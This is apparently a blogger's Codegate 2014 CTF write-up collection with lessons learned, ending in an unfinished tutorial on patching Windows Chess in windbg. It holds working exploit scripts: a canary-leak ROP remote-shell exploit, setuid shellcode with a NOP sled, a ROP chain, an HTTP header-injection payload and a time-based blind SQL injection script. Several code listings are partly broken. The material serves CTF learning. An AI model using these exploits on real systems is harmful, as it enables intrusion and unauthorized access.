Belated Codegate 2014 Quals Writeups and Lessons Learned

The local challenges can be grabbed from here and various other writeups are online. I was off on the timing for this one, so I only dove into most the challenges on Sunday morning… right before codegate ended and after it ended. I did pretty terrible rank-wise, but I thought the challenges were fun anyway and solved some after the codegate was over.

I learn new things almost every CTF, even if it’s sometimes just things that make sense intuitively but I’ve just never thought about before or forgotten. Here are some lessons learned from codegate.

  • stack canaries on linux stay constant and you can get them with an info leak. On windows there is more entropy and this wouldn’t have been as straightforward (see Pwn 250)
  • ulimit -s pretty much defeats ASLR if you’re local. Also, there are areas you can overwrite in this space, like in the syscall mappings, to control the instruction pointer (See Pwn 350 and Pwn 400)
  • To control the number of bytes output locally, you can use non-blocking sockets (see Pwn 400)
  • gdb really can’t find gs: segments very well, but there are usually workarounds (see Pwn 350)
  • You can’t call openprocess with all access on a process being debugged (i.e. you can’t open two debuggers on the same process, even if it’s been forked) but you can openprocess with PROCESS_VM_READ. (reversing 250 – although I ended up going a different route)
  • I wrote a Pykd script that can be called on a windbg breakpoint and continue based on python stuff e.g. you could do a conditional break on a regex which seems tough in windbg without writing a script. (see reversing 250)
  • SQLmap has a cool testbed where you can test your sql syntax, available at (used to test web 500)

Reversing 200 dodoCrackme

Running strace

$ strace ./crackme_d079a0af0b01789c01d5755c885da4f6 
execve("./crackme_d079a0af0b01789c01d5755c885da4f6", ["./crackme_d079a0af0b01789c01d575"...], [/* 37 vars */]) = 0
mmap(NULL, 30000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7ffff7ff6000
write(1, "r", 1r)                        = 1
write(1, "o", 1o)                        = 1
write(1, "o", 1o)                        = 1
write(1, "t", 1t)                        = 1
write(1, "@", 1@)                        = 1
write(1, "l", 1l)                        = 1
write(1, "o", 1o)                        = 1
write(1, "c", 1c)                        = 1
write(1, "a", 1a)                        = 1
write(1, "l", 1l)                        = 1
write(1, "h", 1h)                        = 1
write(1, "o", 1o)                        = 1
write(1, "s", 1s)                        = 1
write(1, "t", 1t)                        = 1
write(1, "'", 1')                        = 1
write(1, "s", 1s)                        = 1
write(1, " ", 1 )                        = 1
write(1, "p", 1p)                        = 1
write(1, "a", 1a)                        = 1
write(1, "s", 1s)                        = 1
write(1, "s", 1s)                        = 1
write(1, "w", 1w)                        = 1
write(1, "o", 1o)                        = 1
write(1, "r", 1r)                        = 1
write(1, "d", 1d)                        = 1
write(1, ":", 1:)                        = 1

it looks like they’re doing syscalls for every character written and read

Most of the binary is garbage, but you can see clusters of syscalls where the output and input happen. Looking in IDA, there are four clusters of syscalls. One outputs the fail, one outputs “Enter root password”, one is a huge loop that inputs the password, and one outputs winner.

With gdb, I recorded executions and executed backworkds until I was in the giant input loop. At that point I started searching for the password was as an offset to rbp, since this is how it outputs strings as syscalls. Sure enough, I found it pretty quickly.

import gdb
import binascii
import sys

def read_weird_string(start_addr, spacing=8, block=100):
    a = gdb.selected_inferior().read_memory(start_addr, block * spacing)
    #for i in range(0,block):
    #   print
    #print help(a)
    for i in a:
        if i == "\x00":
    print binascii.hexlify(a)

read_weird_string(0x7ffff7ff9b50) #this is $rbp - around 50
gdb-peda$ source 

Reversing 250 Clone Technique

This one has on the description: “Limited processes will be generated. Which one has the flag?”

We can see in the main function that it will call createProcessW in a loop that lasts 0x190 iterations, so that’s our number of processes.


Each process is called with three args, #randomlookingnumber# #randomlookingnumber# #counter#, where counter is 0,1,2,…

One thing I tried to do throughout this was put a breakpoint on memory access. For example,

ba w4 00409754

The value would change, but the breakpoint is never hit. Crazy! After some investigation with Joe, we eventually figured out this is because ba works by putting a break in one of four registers per processes. In our case, the memory is written to using a call to WriteProcessMemory, and the kernel is writing the memory, so our breakpoint is never hit.

Investigating this led to the cinit function, which is called before main and contains the calls to writeprocessmemory. It starts with code that grabs the command line args if they exist (and if not sets them to the first value. It then pushes them along with this interesting data string to a function, messes with a string it returns, and then 0s out that string. Even without looking at what the decode_func is doing, it looks like a likely place for a key!


My strategy was then to attach windbg to every one of these forked processes by turning childdbg on, changing the filters to control when it breaks, and set a breakpoint right before the rep stosd. I then wrote a python script to see if this is a candidate for the key.

>type windbg.txt
.childdbg 1
.load pykd.pyd
sxe -c "bp 00401201 \"!py\";g"  ibp
sxi epr


import pykd
import struct
import binascii

def is_possible_key(mstr):
    mstr = mstr[:mstr.index(0)]
  except ValueError:
    return False
  print mstr
  for i in mstr:
    if not (i >= 0x20 and i <= 0x7e):
      return False
  if len(mstr) > 5:
    print "".join([chr(i) for i in mstr])
    return True
  return False

edi = pykd.reg("edi")
a = pykd.loadBytes(edi,30)
if is_possible_key(a):

>windbg -c "$$><windbg.txt" clone_technique.exe

This finds our key ‘And Now His Watch is Ended’

Forensics 150

Ok, so our file is a pcap-ng apparently based on the magic bytes, but it doesn’t open with wireshark


First I ran foremost on the file, which detected a pdf and a bmp. I then ran a few tools found here on the pdf but no luck. Looking at it, it’s


Ok, so we might have to fix the pcap-ng file to view this correctly. I don’t know much about the format, but I opened it in a hex editor and searched for DWORD hex(4270407998), which is \x3e \x41 \x89 \xfe. I replaced this with DWORD 96 and got a similar error. Then I kind of brute forced – set it to 0x30 and got a different error. 0x40 gave a too big error. It took about 10 tries of manual binary searching, and then I got a format I could open in wireshark and follow the tcp stream.


Then just save the pdf part to a file and we get the key


Pwn 250 Angy Doraemon

This was a fun, relatively straightforward challenge. It’s a remote exploit. The bug is in the mouse function. When it reads the answer to “are you sure?” it reads 0x6E bytes into a buffer only a few bytes big.


The hard part is you have to bypass a non-executable stack and a stack canary. This is possible via an info leak. Because we can write over the end of our string, we can see other values on the stack, such as the canary and the fd. One interesting thing I learned is how on Linux the stack canary seems to be constant per process (on windows, as Matt Miller said, Windows cookies are basically an XOR’d combination of the current system time, process identifier, thread identifier, tick count, and performance counter.)

So you leak the canary, then you have to rop a payload. execl is in the .got, and I used some fancy redirecting to send the output right back through the socket. You need the file descriptor, but it’s on the stack and you need it anyway I think to do a read from the socket.


import argparse
import struct
import socket
import binascii
import time

class exploit:
  def __init__(self, args):
    self.command = args.command

    if args.fd == None:
      self.fd = args.fd

    if args.canary == None:
      self.canary = binascii.unhexlify(args.canary)

  def get_canary(self):
    self.canary = ""
    padding = "yAAAAAAAAA"
    #doing one byte at a time simplifies cases where there are null bytes
    for i in range(0,4):
      sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
      sock.connect((, args.port))
      data = self.recv_until(">", sock)

      self.recv_until("(y/n) ", sock)
      data = self.recv_until("\"MOUSE!!!!!!!!! (HP - 25)\"", sock)
      if len(data) == 58 + i:
        self.canary += "\x00"
        self.canary += data[22+i]
      padding += "A"
    print "canary: ", binascii.hexlify(self.canary)

  def get_fd(self):
    self.canary = ""
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((, args.port))
    data = self.recv_until(">", sock)

    self.recv_until("(y/n) ", sock)
    data = self.recv_until("\"MOUSE!!!!!!!!! (HP - 25)\"", sock)
    self.fd = ord(data[42])
    print "fd: ", self.fd

  def pwn(self):

    rop = struct.pack("<I", 0x08048620)       # read plt
    rop += struct.pack("<I", 0x8048b2c)       # pop 3 ret
    rop += struct.pack("<I", self.fd)         # fd
    rop += struct.pack("<I", 0x804b508)       # buf 
    rop += struct.pack("<I", 0x256)           # nbytes
    rop += struct.pack("<I", 0x08048710)      # execl
    rop += struct.pack("<I", 0x41424142)      # ret
    rop += struct.pack("<I", 0x0804970D)      # /bin/sh
    rop += struct.pack("<I", 0x0804970D)      # /bin/sh
    rop += struct.pack("<I", 0x804b508)       # buf "-c"
    rop += struct.pack("<I", 0x804b508 + 3)   # buf "command"
    rop += struct.pack("<I", 0x0000000)       # null

    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((, args.port))
    data = self.recv_until(">", sock)
    self.recv_until("(y/n) ", sock)

    padding = "yAAAAAAAAA"
    padding += self.canary
    padding += "B" * 12
    sock.sendall(padding + rop)

    self.command += " 0<&{0} 1>&{0}".format(self.fd) #redirect output to our socket

    data = sock.recv(1024)   
    print data

  def recv_until(self, string, sock):
    data = ""
    while True:
      tmp = sock.recv(1)
      if tmp == "":
      data += tmp
      if data.endswith(string):
    return data

parser = argparse.ArgumentParser()
parser.add_argument("--host", default="")
parser.add_argument("--port", default=8888)
parser.add_argument("--canary", default=None)
parser.add_argument("--command", default="whoami")
parser.add_argument("--fd", default=None, type=int)
args = parser.parse_args()

m = exploit(args)

Pwn 350 4stone

This is a binary that plays a game locally, sort of like connect 4. All the interesting things happen if you win the game with 0 time (which you can do with a constant strategy – this took me longer than it should have). If you do win, it grabs some input from stdin.


As you can see from the following snippet, you get an “arbitrary” write (marked in red). There is a catch though. You can write anywhere, as long as it doesn’t start with 0x804, or 0x0b.


The stack is executable, so if we could overwrite anything, then we’d be sitting good. Unfortunately, most everything by default starts at 0x804 or 0x0b.

gdb-peda$ vmmap 
Start      End        Perm	Name
0x08048000 0x0804a000 r-xp	/home/mopey/games/4stone/4stone
0x0804a000 0x0804b000 r-xp	/home/mopey/games/4stone/4stone
0x0804b000 0x0804c000 rwxp	/home/mopey/games/4stone/4stone
0x0804c000 0x0806d000 rwxp	[heap]
0xb7dc2000 0xb7dc3000 rwxp	mapped
0xb7dc3000 0xb7dc6000 r-xp	/lib/i386-linux-gnu/
0xb7dc6000 0xb7dc7000 r-xp	/lib/i386-linux-gnu/
0xb7dc7000 0xb7dc8000 rwxp	/lib/i386-linux-gnu/
0xb7dc8000 0xb7f76000 r-xp	/lib/i386-linux-gnu/
0xb7f76000 0xb7f78000 r-xp	/lib/i386-linux-gnu/
0xb7f78000 0xb7f79000 rwxp	/lib/i386-linux-gnu/
0xb7f79000 0xb7f7d000 rwxp	mapped
0xb7f7d000 0xb7f9b000 r-xp	/lib/i386-linux-gnu/
0xb7f9b000 0xb7f9c000 ---p	/lib/i386-linux-gnu/
0xb7f9c000 0xb7f9e000 r-xp	/lib/i386-linux-gnu/
0xb7f9e000 0xb7f9f000 rwxp	/lib/i386-linux-gnu/
0xb7f9f000 0xb7fc2000 r-xp	/lib/i386-linux-gnu/
0xb7fc2000 0xb7fc3000 r-xp	/lib/i386-linux-gnu/
0xb7fc3000 0xb7fc4000 rwxp	/lib/i386-linux-gnu/
0xb7fdb000 0xb7fdd000 rwxp	mapped
0xb7fdd000 0xb7fde000 r-xp	[vdso]
0xb7fde000 0xb7ffe000 r-xp	/lib/i386-linux-gnu/
0xb7ffe000 0xb7fff000 r-xp	/lib/i386-linux-gnu/
0xb7fff000 0xb8000000 rwxp	/lib/i386-linux-gnu/
0xbffdf000 0xc0000000 rwxp	[stack]

hmmm, we can write to the heap, but that’s tough. What can we do locally? My initial thought was to make the stack big enough so it wasn’t in the 0x0b range, then potentially overwrite a return pointer. There’s aslr on, but we might be able to brute force it. So I started filling up the stack with an execve call, but hit a limit. Ok, we can set this with ulimit. I tried this, and set it to unlimited, and something interesting happened. The mapping then looks something like this:

gdb-peda$ vmmap 
Start      End        Perm	Name
0x08048000 0x0804a000 r-xp	/home/mopey/games/4stone/4stone
0x0804a000 0x0804b000 r-xp	/home/mopey/games/4stone/4stone
0x0804b000 0x0804c000 rwxp	/home/mopey/games/4stone/4stone
0x0804c000 0x0806d000 rwxp	[heap]
0x40000000 0x40020000 r-xp	/lib/i386-linux-gnu/
0x40020000 0x40021000 r-xp	/lib/i386-linux-gnu/
0x40021000 0x40022000 rwxp	/lib/i386-linux-gnu/
0x40022000 0x40023000 r-xp	[vdso]
0x40023000 0x40025000 rwxp	mapped
0x4003c000 0x4005f000 r-xp	/lib/i386-linux-gnu/
0x4005f000 0x40060000 r-xp	/lib/i386-linux-gnu/
0x40060000 0x40061000 rwxp	/lib/i386-linux-gnu/
0x40061000 0x4007f000 r-xp	/lib/i386-linux-gnu/
0x4007f000 0x40080000 ---p	/lib/i386-linux-gnu/
0x40080000 0x40082000 r-xp	/lib/i386-linux-gnu/
0x40082000 0x40083000 rwxp	/lib/i386-linux-gnu/
0x40083000 0x40084000 rwxp	mapped
0x40084000 0x40232000 r-xp	/lib/i386-linux-gnu/
0x40232000 0x40234000 r-xp	/lib/i386-linux-gnu/
0x40234000 0x40235000 rwxp	/lib/i386-linux-gnu/
0x40235000 0x40238000 rwxp	mapped
0x40238000 0x4023b000 r-xp	/lib/i386-linux-gnu/
0x4023b000 0x4023c000 r-xp	/lib/i386-linux-gnu/
0x4023c000 0x4023d000 rwxp	/lib/i386-linux-gnu/
0x4023d000 0x4023e000 rwxp	mapped
0xbffdf000 0xc0000000 rwxp	[stack]

And a lot of these addresses, like libc, don’t change, even with ASLR! (apparently this is well known, but this is the first I’ve seen it). So where can we write in one of methods? The only function call after our arbitrary write is to exit, which makes a system call. Maybe we can overwrite that?

Tracing this, in the exit .got we have

0x40084000 0x40232000 r-xp	/lib/i386-linux-gnu/

   0x4013eb04 <_exit>:	mov    ebx,DWORD PTR [esp+0x4]
   0x4013eb08 <_exit+4>:	mov    eax,0xfc
=> 0x4013eb0d <_exit+9>:	call   DWORD PTR gs:0x10

It turns out gdb sucks at finding the actual address of gs:0x10 sections, so I stepped into it, or you can also find it like this by setting “catch syscall set_thread_area” and looking at the location. Doing this, we see 0x40022414 is mapped to <__kernel_vsyscall>

Because this is bound loosely we can look for references to this in the mapped region.

gdb-peda$ peda searchmem 0x40022414 mapped (searching for the syscall)
Found 1 results, display max 1 items:
mapped : 0x4023d6d0 --> 0x40022414 (<__kernel_vsyscall>:	push   ecx)

It looks like we could overwrite this and it would point somewhere else. Does it work?

gdb-peda$ set {int}0x4023d6d0=0x0c0c0c0c
gdb-peda$ continue 
Stopped reason: SIGSEGV
0x0c0c0c0c in ?? ()

Cool. So using this, we can put our shellcode in an environment variable, put a ton of nops there, and point to it. This was the final exploit


import os
import argparse
import struct
import sys
from ctypes import *

class exploit:
  def __init__(self, args):
    self.vulnpath = args.path

    #stdin (wins the game and specifies what to write)
    f = open(args.inputfile, "w")
    #f.write("c0c0c0c0")  #what to write 
    f.write("bfab0b00")  #what to write 


    f =, int('444', 8))
    print f
    print sys.stdin
    os.dup2(f, 0)

    #arg1 (sepcifies where to write)   
    self.argv = "4023d6d0" 

    #environment (shellcode) /bin/sh setuid 1003
    dashsc = (
"\xdb\xc8\xd9\x74\x24\xf4\xbf\xa2\x35\xcc\x83\x5b\x31\xc9" +
"\xb1\x0b\x83\xeb\xfc\x31\x7b\x14\x03\x7b\xb6\xd7\x39\xb2" +
"\x76\xa7\x84\x0e\x9d\xcb\x08\x71\xd8\x27\x0b\x71\x1a\x75" +
"\x8c\x40\xda\xd5\xe5\x8d\xf5\xa6\x9d\xb9\x26\x2b\x37\x54" +

    self.env = { "TERM": "xterm" }
    for i in range(0,100):
      self.env[str(i)] = "\x90" * 100000 + dashsc

  def pwn(self):
    os.execve( self.vulnpath, [self.vulnpath, self.argv], self.env)
parser = argparse.ArgumentParser()
parser.add_argument("--inputfile", default="input.txt")

args = parser.parse_args()
m = exploit(args)

Pwn 400 minibomb

The overflow on this is straightforward, but the executable is tiny, and there’s not a lot of rop you can do. Using the ulimit -s unlimited trick, you only have a handful of gadgets.

gdb-peda$ x/4i 0x40000424
   0x40000424 <__kernel_vsyscall+16>:	pop    ebp
   0x40000425 <__kernel_vsyscall+17>:	pop    edx
   0x40000426 <__kernel_vsyscall+18>:	pop    ecx
   0x40000427 <__kernel_vsyscall+19>:	ret   
gdb-peda$ x/2i 0x080480F3
   0x80480f3:	mov    ebx,0x0
   0x80480f8:	int    0x80

We can control edx and ecx with the gadget at 0x40000425, and another interesting thing is we may be able to control ebx indirectly if we can write to unk_8049150

.text:080480B4 lea     ebx, unk_8049150 ; start
.text:080480BA int     80h             ; 

We have almost all we need for a system call, except we don’t have eax anywhere. After some research, one thing that’s promising is both “read” and “write” will return eax to the value of bytes read or written. My first thought was if I could set ecx or edx with the gadget at 0x40000425 then I might be able to use one of the existing reads or writes to control eax. This is close to working, like if they would mov eax, 4 (syswrite) immmediately before the int 80, it would have worked. But unfortunately there’s no flow like that. They all move eax, 4 at the beginning, then set all the args afterward.

I was stuck here, but luckily the good thing about trying this one late is there are solutions posted. This is an excellent writeup, and I used it to cheat: They set a nonblocking socket to control how much could be written. Cool! I never would’ve though of that.

Using More Smoked Leet Chicken’s technique


import socket
import time

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("", 30123))

while True:
  conn, ts = s.accept()
  conn.sendall("/tmp/blah\x00 ")
  print "got connection"

import argparse
import struct
import socket
import time
from subprocess import *

class exploit:
  def __init__(self, args):

    self.vulnpath = args.path

    padding = "A" * 16

    rop = struct.pack("<I", 0x40000425)  #pop edx, pop ecx, ret
    rop += struct.pack("<I", 11)         #edx (length)
    rop += struct.pack("<I", 0x08049150) #ecx (buffer)
    #eax is 3 due to pipe
    rop += struct.pack("<I", 0x08048143) #read syscall.. 0804812C to read from stdin?

    #eax is 11 due to read 11
    rop += struct.pack("<I", 0x40000425)  #pop edx, pop ecx, ret
    rop += struct.pack("<I", 0)  
    rop += struct.pack("<I", 0)  
    rop += struct.pack("<I", 0x080480B4)

    self.payload = padding + rop

  def pwn(self):
    out_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    out_sock.connect(("", 30123))

    #find the right value
    out_sock.sendall("A" * eval(args.sendsize))

    p = Popen(self.vulnpath, shell=True, stdin=PIPE, stdout=out_sock)


parser = argparse.ArgumentParser()
parser.add_argument('--path', default="./minibomb")
parser.add_argument('--sendsize', default=0)

args = parser.parse_args()
m = exploit(args)
$ ulimit -s
$ cat /tmp/blah 
#!/bin/bash -p

/usr/bin/id > /tmp/output
$ python --sendsize='4096 * 332 + 1024 + 256 + 64 + 32 +19' --path="./minibomb"
$ cat /tmp/output 
uid=1000(test) gid=1000(test) groups=1000(test)

Web 200

I banged my head against this one for a while. In the comments was
I tried things like looking for .htaccess, etc, but no luck.

This looked promising

this looks promising

But you only get the first two lines back and the content length. But it turns out there’s a header injection!

GET /188f6594f694a3ca082f7530b5efc58dedf81b8d/index.php?url=localhost%2F188f6594f694a3ca082f7530b5efc58dedf81b8d%2Fadmin/+HTTP/1.0%0d%0aHost:+localhost%0d%0aRange:+bytes%3d372-430%0d%0a%0d%0a HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive

This responds with


Cool. Requesting it directly, even with the header, still gives a forbidden. But we can reuse the header injection enough and we can play around with the bytes.

GET /188f6594f694a3ca082f7530b5efc58dedf81b8d/index.php?url=localhost%2F188f6594f694a3ca082f7530b5efc58dedf81b8d%2Fadmin/+HTTP/1.0%0d%0aHost:+hackme%0d%0aRange:+bytes%3d76-127%0d%0a%0d%0a HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive

In the response is: Password is WH0_IS_SnUS_bI1G_F4N

Web 500

They give us this source.


$link = @mysql_connect('localhost', '', '');
@mysql_select_db('', $link);

function RandomString()
  $filename = "smash.txt";
  $f = fopen($filename, "r");
  $len = filesize($filename);
  $contents = fread($f, $len);
  $randstring = '';
  while( strlen($randstring)<30 ){
    $t = $contents[rand(0, $len-1)];
    $randstring .= $t;
  return $randstring;

$max_times = 120;

if ($_SESSION['cnt'] > $max_times){

if ( !isset($_SESSION['cnt'])){

  $query = "delete from rms_120_pw where ip='$_SERVER[REMOTE_ADDR]'";

  $query = "insert into rms_120_pw values('$_SERVER[REMOTE_ADDR]', '$_SESSION[password]')";
$left_count = $max_times-$_SESSION['cnt'];

if ( $_POST['password'] ){
  if (eregi("replace|load|information|union|select|from|where|limit|offset|order|by|ip|\.|#|-|/|\*",$_POST['password'])){
    exit("Wrong access");

  $query = "select * from rms_120_pw where (ip='$_SERVER[REMOTE_ADDR]') and (password='$_POST[password]')";
  $q = @mysql_query($query);
  $res = @mysql_fetch_array($q);


<link rel="stylesheet" type="text/css" href="black.css">

<form method=post action=index.php>
  <h1> <?= $left_count ?> times left </h1>
  <div class="inset">
    <label for="password">PASSWORD</label>
    <input type="password" name="password" id="password" >
  <p class="p-container">
    <span onclick=location.href="auth.php"> Auth </span>
    <input type="submit" value="Check">

The sqli is relatively straightforward. You can have a True/false query like this.


But we have only 120 guesses*, and the password is quite long at 30 chars. This returns true


so that means we have only an average of four queries per letter, or 120 guesses for the whole 30 character password. They are lower case at least, so that can reduce our queries by quite a bit, but if we query all the bits, that’s 5 per letter and is too many with a true/false query (which would need 5 per letter). And if you do a straight binary search of the 30 char password, that’s on the order of a few hundred per session*

But, we really have more than true/false – we have an arbitrary number of states. true, false, and timing. We can sleep different amounts of times, etc. For example, we’re only lacking one bit, so we could ask, is the next bit 1 (return true), 0 (return false), or are all the bits 1 (sleep 10 seconds).
The query ended up pretty complicated, and I had to add some code that checked sanity to make sure letters were being decoded correctly.*


import urllib
import httplib
import time
import argparse
import sys

class web500:
    def __init__(self, host="", port=80, session="", check_iter=-1, debug=False):
        self.conn = httplib.HTTPConnection(host, port)
        if session == "":
            self.session = self.get_session()
            print "Creating SESSION=" + self.session
            self.session = session
        self.check_iter = check_iter
        self.debug = debug
        self.upperlimit = 120
        self.passwd = ""
    def pwn(self):
        for letter in range(0,30):
            dstr = ""
            if self.check_iter != -1:
                letter = int(self.check_iter)
            for bit in range(8,3,-1):
                self.upperlimit -=1
                if self.upperlimit < 0:
                    print "ERROR: Went over limit :("
                this_char = "LPAD(BIN(ORD(SUBSTR(password,{0},1))),8,'0')".format(letter+1)
                this_bit  = "SUBSTR({0},{1},1)".format(this_char, bit)
                if (bit != 4 and not self.debug):
                    #if on binary(password[i])[3:4] == 10: sleep 24
                    #if on binary(password[i])[3:4] == 01: sleep 16
                    #if all more significant bits are 1: sleep 8
                    #if all more significant bits are 0: sleep 4
                    #else: return true if 1, else 0
                    truth = "if(left(SUBSTR({0},4,9),{1})!='10',if(left(SUBSTR({0},4,9),{1})!='01',  if(left(SUBSTR({0},4,9),{1})!='{4}',  if(left(SUBSTR({0},4,9),{1})!='{2}', if({3}=0x31,1,0),sleep(4)),sleep(8)),sleep(16)),sleep(24))".format(this_char, bit-3, "0"*(bit-3), this_bit, "1"*(bit-3))
                    truth = "if({0}=0x31,1,0)".format(this_bit)
                sql = "'or(" + truth + ")and'1"
                param= "password=" + urllib.quote(sql)
                self.conn.putrequest("POST", "/5a520b6b783866fd93f9dcdaf753af08/index.php")
                self.conn.putheader("Content-length", str(len(param)))
                self.conn.putheader("Cookie", "PHPSESSID=" + self.session)
                self.conn.putheader("Content-Type", "application/x-www-form-urlencoded")
                t = time.clock()
                resp = self.conn.getresponse()
                data =
                t = time.clock() - t
                if t>=24:
                    dstr = "10" + dstr
                elif t>=16:
                    dstr = "01" + dstr
                elif t >= 8:
                    dstr = dstr.rjust(5,"1")
                elif t >= 4:
                    dstr = dstr.zfill(5)
                elif "True" in data:
                    dstr = "1" + dstr
                    dstr = "0" + dstr
            print "Index:", letter, "Value", dstr, "Iter:", self.upperlimit
            self.passwd += self.bin_tochar(dstr)
            if self.check_iter != -1:
        print "PASSWORD: ", self.passwd
    def bin_tochar(self, c):
        return chr(int("011" + c, 2))
    def get_session(self):
        self.conn.putrequest("GET", "/5a520b6b783866fd93f9dcdaf753af08/index.php")
        resp = self.conn.getresponse()
        data =
        return resp.getheader("Set-Cookie").split("=")[1].split(";")[0]
parser = argparse.ArgumentParser()
parser.add_argument("--session", default="")
parser.add_argument("--checkIter", default=-1)
parser.add_argument("--debug", action="store_true")
args = parser.parse_args()
a = web500(session=args.session, check_iter=args.checkIter, debug=args.debug)


Logging in with this password gives us the key:

Congrats! the key is DontHeartMeBaby*$#@!

*If I noticed it, I should’ve done it like other people and noticed I could have just supplied a different sessionID. This looks way easier

Using windbg to beat my dad at chess

My dad is awesome. He always beats me at chess. With a huge nod to this uninformed post – introduction to reverse engineering win32 applications where they debug minesweeper, I decided to dive into the windows 7 chess game and see if I could give myself a bit of an advantage. I wasn’t sure exactly what I wanted to do other than that. I’ll be using Windows 7 32 bit, and the file is at C:\Program Files\Microsoft Games\Chess\. This tutorial will probably not work with anything but Windows 32 bit. This is a beginner tutorial.

Recon and Defining what we want to do

Following the uninformed post, I wondered if chess might contain symbols also, as this would make my life easier. I have this set in my config, but if you don’t then you will want to set your symbol path.

0:000> .sympath srv*c:\debug*
Symbol search path is: srv*c:\debug*
Expanded Symbol search path is: srv*c:\debug*
0:000> .reload /f *
0:000> lm
start    end        module name
001b0000 00474000   Chess      (pdb symbols)          c:\debug\Chess.pdb\1467728C9EEA429C9FA465213785E17C1\Chess.pdb
6e030000 6e06c000   OLEACC     (pdb symbols)          c:\debug\oleacc.pdb\DC8A57A3E8C648228F2C3650F2BE1D672\oleacc.pdb
6f900000 6f972000   DSOUND     (pdb symbols)          c:\debug\dsound.pdb\F38F478065E247C68EDA699606F56EED2\dsound.pdb

Awesome, we have a chess.pdb. In the uninformed post they use windbg to look at functions, but I find IDA Pro easier to read. Loading chess.exe into IDA we see quite a few functions right off the bat that look interesting. It looks like there’s a Pawn class, a knight class, a bishop class, etc

Pawn::GetCaptureMoves(int const * *)   .text 0102D605 00000017 R . . . B . .
Pawn::GetShadowRadius(void)            .text 0102D621 00000007 R . . . . . .
Knight::Knight(ESide)                  .text 0102D62D 0000001D R . . . B . .
Knight::Clone(void)                    .text 0102D64F 0000002B R . . . . . .
Knight::GetPassiveMoves(int const * *) .text 0102D67F 00000017 R . . . B . .
Knight::CanJump(void)                  .text 0102D69B 00000003 R . . . . . .
Knight::GetPieceType(void)             .text 0102D6A3 00000004 R . . . . . .
Knight::GetShadowRadius(void)          .text 0102D6AC 00000007 R . . . . . .
Bishop::Bishop(ESide)                  .text 0102D6B8 0000001D R . . . B . .
Bishop::Clone(void)                    .text 0102D6DA 0000002B R . . . . . .
Bishop::GetPassiveMoves(int const * *) .text 0102D70A 00000017 R . . . B . .
Bishop::GetPieceType(void)             .text 0102D726 00000004 R . . . . . .
Rook::Rook(ESide)                      .text 0102D72F 0000001D R . . . B . .
Rook::Clone(void)                      .text 0102D751 0000002B R . . . . . .

So there seem to be two outliers, knights and pawns. Knights have extra moves like canjump, and pawns can move certain places depending on other pieces, so this makes sense. Also, this gives us a big clue that these classes contain some of the logic we can use to determine which piece can move where.

So how should I beat my dad? He’s not a grandmaster, so maybe if I made bishops move like queens for me that would do the trick. There is also a board class, so another idea I had was to replace the bishops with queens when the board was setup, but that’s not the route I went.

There’s this function getpassivemove common to all the classes

0:010> x chess!*getpassivemove*
009bd781 Chess!Rook::GetPassiveMoves = <no type information>
009bd7f8 Chess!Queen::GetPassiveMoves = <no type information>
009bd67f Chess!Knight::GetPassiveMoves = <no type information>
009bd5d6 Chess!Pawn::GetPassiveMoves = <no type information>
009bd87b Chess!King::GetPassiveMoves = <no type information>
009bd70a Chess!Bishop::GetPassiveMoves = <no type information>

Setting a bp here it’s tough to tell what’s going on because it’s hit so frequently, but the functions are really simple, and for the most part they look VERY similar between pawn/rook/knight/king/etc classes

So let’s just replace the first instruction to jump to the other function. I had mona loaded into windbg here, but you can also do this with the metasploit asm shell or nasm.

What this does is modify the Chess!Bishop::GetPassiveMoves function and has it immediately jump to Chess!Queen::GetPassiveMoves. (The addresses on your box will certainly be different)

0:010> !py mona asm -s "mov eax, 0x0076d7f8#jmp eax"
Hold on...
Opcode results : 
 mov eax, 0x0076d7f8 = \xb8\xf8\xd7\x76\x00
 jmp eax = \xff\xe0
 Full opcode : \xb8\xf8\xd7\x76\x00\xff\xe0 

[+] This action took 0:00:02.172000

0:010> eb 0076d5d6 b8 f8 d7 76 00 ff e0
0:010> uf Chess!bishop::GetPassiveMoves
Flow analysis was incomplete, some code may be missing
0076d5d6 b8f8d77600      mov     eax,offset Chess!Queen::GetCaptureMoves (0076d7f8)
0076d5db ffe0            jmp     eax
0:010> g

Sure enough, this works. When we run we can move anywhere with our bishops



At this point, even though we can move anywhere, we still have two problems we need to solve. 1) both black and white can move anywhere, so this doesn’t give me an advantage. What I really want is just white to be able to move anywhere 2) We can’t just write to this address because of ASLR and also because it’s a read only section of memory.

What does it mean for us that ASLR is enabled? Any static addresses will likely change from run to run of the chess game. Looking for non-aslred modules, there are none. By the way, I’m using mona here.

0:000> !py mona noaslr
Hold on...
No aslr & no rebase modules :
[+] Generating module info table, hang on...
    - Processing modules
    - Done. Let's rock 'n roll.
 Module info :
 Base       | Top        | Size       | Rebase | SafeSEH | ASLR  | NXCompat | OS Dll | Version, Modulename & Path

So for us, we can’t really rely on any hard coded addresses.

Additionally, even if we solved ASLR, our hard jump strategy will also fail because both white and black call the GetPassiveMoves function. We need a way to only modify that function for white.

Figuring out Whose Turn it is

Getting turn info took a bit of shooting in the dark also, but because of symbols it was relatively easy to track down.

First I put a breakpoint here:

bp Chess!GameState::GetTurn +3 "r eax; g"

This is called a lot, and it seems to return 2 or 0 for white, and 0, 1, or 2 for black. This function will probably work, but there’s another turn function too named toggleturn, so lets try that. This function seems perfect – it’s called once after every move. We can see it’s testing the value in [ecx+4] so we inspect that, and sure enough it’s 1 before a white move and 0 before a black move

bp Chess!GameState::toggleturn
dd ecx + 4

Programatically Changing the Game

I’m going to programattically debug the process. The way the uninformed post did things was cool, but it’s (more) difficult to go route way because we’re not messing with data, we’re messing with the program which is non writable. So how do we programatically debug?

